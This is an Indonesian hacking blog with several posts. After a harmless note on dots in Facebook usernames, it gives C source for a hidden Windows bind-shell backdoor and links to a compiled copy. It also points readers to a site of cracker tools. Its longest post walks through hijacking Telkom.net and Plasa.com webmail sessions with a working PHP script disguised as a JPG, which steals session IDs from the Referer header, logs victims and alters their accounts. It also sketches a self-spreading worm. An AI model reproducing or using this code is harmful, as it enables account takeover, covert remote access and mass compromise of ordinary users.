Minggu, 12 Juli 2009

Titik di username Facebook


Baik kali ini saya akan mencoba membedah fitur facebook yang belum lama ini disediakan. oke langsung saja ya gak banyak basa-basi!!!, mungkin bagi Anda yang menggunakan Facebook, kemungkinan besar Anda telah membuat Facebook username, salah satu fitur yang belum lama ini disediakan. Username Facebook yang Anda buat, saat ini menjadi bagian dari alamat profil Anda sehingga lebih mudah diingat baik oleh sendiri maupun orang lain. Seperti yang Anda ketahui, dalam pembuatan username Facebook tersebut, karakter yang dapat digunakan adalah karakter alphanumeric (a-z,0-9) dan tanda baca titik (.). Ada yang menarik dalam penggunaan titik dalam username Facebook ini.

Titik yang digunakan dalam username Facebook ternyata dapat diabaikan penggunaannya seperti yang diterapkan dalam alamat Gmail. Mungkin Anda sudah mengetahui jika Anda mempunyai alamat email nama.anda@gmail.com, pengiriman email ke alamat namaanda@gmail.com atau na.ma.an.da@gmail.com tetap akan tertuju ke mailbox Anda. Begitu juga yang berlaku dalam penggunaan username Facebook, jika misalnya username Facebook Anda adalah nama.anda yang menjadikan alamat profil anda adalah facebook.com/nama.anda, akses ke alamat facebook.com/namaanda atau facebook.com/na.ma.an.da akan tetap diteruskan ke halaman profil Anda di Facebook. Mungkin sekian dulu postingan dari saya, sampai ketemu di postingan berikutnya....

Simple Backdoor

Backdoor merupakan jalan belakang untuk menghindari password untuk login. Jalan belakang ini dimungkinkan karena aplikasi atau rootkit yang jalan dikomputer tersebut. Sehingga Backdoor merupakan suatu istilah yang seringkali digunakan untuk masuk ke dalam sistem tanpa sepengetahuan administrator, namun hal tersebut bisa dilakukan jika penyusup pernah masuk kedalam sistem tersebut dengan hak akses root. Pemberian backdoor dilakukan untuk mempermudah mereka memasuki sistem tersebut jika jalan yang telah dibuat dengan eksploit telah ditutup oleh administrator. Sehingga tujuan dari backdoor bukan untuk mendapatkan previlege root, tetapi untuk mendapatkan kembali previlege yang pernah diperoleh.

nih contoh script back door :

#include    // ZeroMemory()
#include // API do Winsock

#define PORTA 12345

int main()
{
WSADATA wsainfo
;
SOCKET sock
;
struct sockaddr_in addr;

STARTUPINFO ini_info
;
PROCESS_INFORMATION proc_info
;

if(WSAStartup(0x202,&wsainfo) == SOCKET_ERROR)
return 1;

if((sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0)) == SOCKET_ERROR)
return 1;

addr
.sin_family = AF_INET;
addr
.sin_port = htons(PORTA);
addr
.sin_addr.s_addr = INADDR_ANY;

if(bind(sock,(struct sockaddr*)&addr,sizeof(addr)) == SOCKET_ERROR)
return 1;

listen
(sock,1);

if((sock = accept(sock,0,0)) == SOCKET_ERROR)
return 1;

ZeroMemory(&ini_info, sizeof(STARTUPINFO));
ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION));

ini_info
.cb = sizeof(STARTUPINFO);
ini_info.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_info
.wShowWindow = SW_HIDE;
ini_info
.hStdInput = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info);

return 0;
}


File yang sudah tercompile
http://wWw.hunterhac...br/backdoor.rar

sumber:
script di coding oleh Dark_side (http://www.blackhat-forums.com)
mas yudi (yudi-poenya-gawe.blogspot.com)

Rabu, 10 Juni 2009

Hacking tool

Artikel ini hanya di tujukan bagi para newbie aja, saya mohon bila anda seorang 3317 cepet-cepet deh di stop browser anda karena mungkin artikel ini bagi anda jadul banget. bagi anda 3317 yang masih tetep membaca artikel ini tolong jangan tertawa, maklum yang posting ini baru blajar!!!! Oke tanpa berbelit-belit langsung aja kita masuk topic pembahasan, waktu aku coba browsing di mbah google ternyata nemu'in sesuatu yang lumayan bagus sih menurut q.Di sebuah situs underground q menemukan banyak tool yang mungkin sering digunakan oleh para cracker(kenapa aku menyebut craker, karena gak mungkin seorang hacker menggunakan tool semacam ini). Walaupun sudah jadul, gak ada salahnya kalo kita yang newbie ini mencobanya. Gak tool hacker aja yang di posting tapi juga ebook tentang pemrogaman juga.Baiklah coba masuk ke url http://vxchaos.official.ws/

Dari tampilan sih cukup simpel, ni layout tampilan menu'e:


Cukup sekian yo pemberitahuan dari saya, silahkan kalian obok-ibik sendiri isine!!!
Oke sampai jumpa lagi ke posting selanjutnya....

Hacking Email Telkom.net dan Plasa.com

Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.

Webmail Session Hijacking

Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.

Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.

SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:

  1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
  2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:

    Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.

SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly (baca: protecting cookie with httponly ). Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.

Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.

Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.

telkom.net URL

telkom.net URL


plasa.com URL

plasa.com URL

SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:

http://mail.telkom.net/Session/206017-7vY8EVuJF2935NV9Fhzl-kmbcuww/mailbox.wssp?Mailbox=INBOX&

http://mail1.plasa.com/Session/70174-k2O8e3vcnJEFxmxWYpOX-kmbcuwc/mailbox.wssp?Mailbox=INBOX&

Stealing SessionID from Referer Header

Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.

Ketika pengunjung sedang membuka halaman dengan URL:

http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/Mailbox.wssp?Mailbox=INBOX

Kemudian ketika terjadi request ke sebuah file image:

http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif

Maka pada request GET tersebut akan ada header seperti di bawah ini:

1

2
3
4
5
6
7
8
9
10
11
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1

Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0

Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.

Attack Scenario

Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.

Preparing the Script

Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.

URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:

1

2
3
RewriteEngine On

RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php

Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.

1

2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,"telkom.net")>-1) {
$telkomnet = true;
}
if (strpos($ref,"plasa.com")>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
}

$file = fopen("daftarkorban.txt","a");
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode("/",$ref);
$sessid = $tokens[4];
fwrite($file,"######\n");
fwrite($file,"REFERER:".$_SERVER["HTTP_REFERER"]."\n");
fwrite($file,"SESSID:".$sessid."\n");

$urlhost = "http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&";
$inboxhtml = file_get_contents($urlhost);

preg_match('/(.*?)<\/title>/i', $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title," ");
if ($pos > -1) {
$email = substr($title,0,$pos);
}

fwrite($file,"KORBAN:".$email."\n");
fwrite($file,"******\n");
fclose($file);

$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);

// Writing Signature...
$url = "http://mail.telkom.net/Session/$sessid/settings.wssp";
if ($plasacom==true) {
$url = "http://mail1.plasa.com/Session/$sessid/settings1.wssp";
}
$old_settings = file_get_contents($url);
preg_match('/(.*?)<\/textarea>/i', $old_settings, $matches);
$oldsig = $matches[2];

$data = array();
$data["UserFrom"] = $email;
$newsig = "[YOUR EMAIL HAS BEEN HACKED]".$oldsig;
$data["Signature"] = $newsig;
$data["Update"] = "Update";

$response = doPost($url,$data);
if ((strpos($response,"Updated")>-1 && $telkomnet==true) || $plasacom==true) {
ImageString($image, 3, 35, 50, "Signature anda berhasil diganti menjadi:" , $white);
ImageString($image, 3, 45, 65, $newsig , $white);
}
header("Content-Type: image/jpeg");
ImageJpeg($image);
ImageDestroy($image);

function doPost($url,$data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
if(curl_errno($ch))
{
$response = curl_error($ch);
}
curl_close($ch);
return $response;
}
?>

Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.

Launch The Attack

Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.

compose attack email

compose attack email

Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.

signature1

Dan gambar berikut adalah gambar ketika email attacker tiba.

email attacker tiba

email attacker tiba

Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.

victim open email and his session hijacked instantly

victim open email and his session hijacked instantly

Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.

signature2

Worm Attack: More Dangerous Scenario

Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.

Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.

Tips Menghindari Serangan

Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.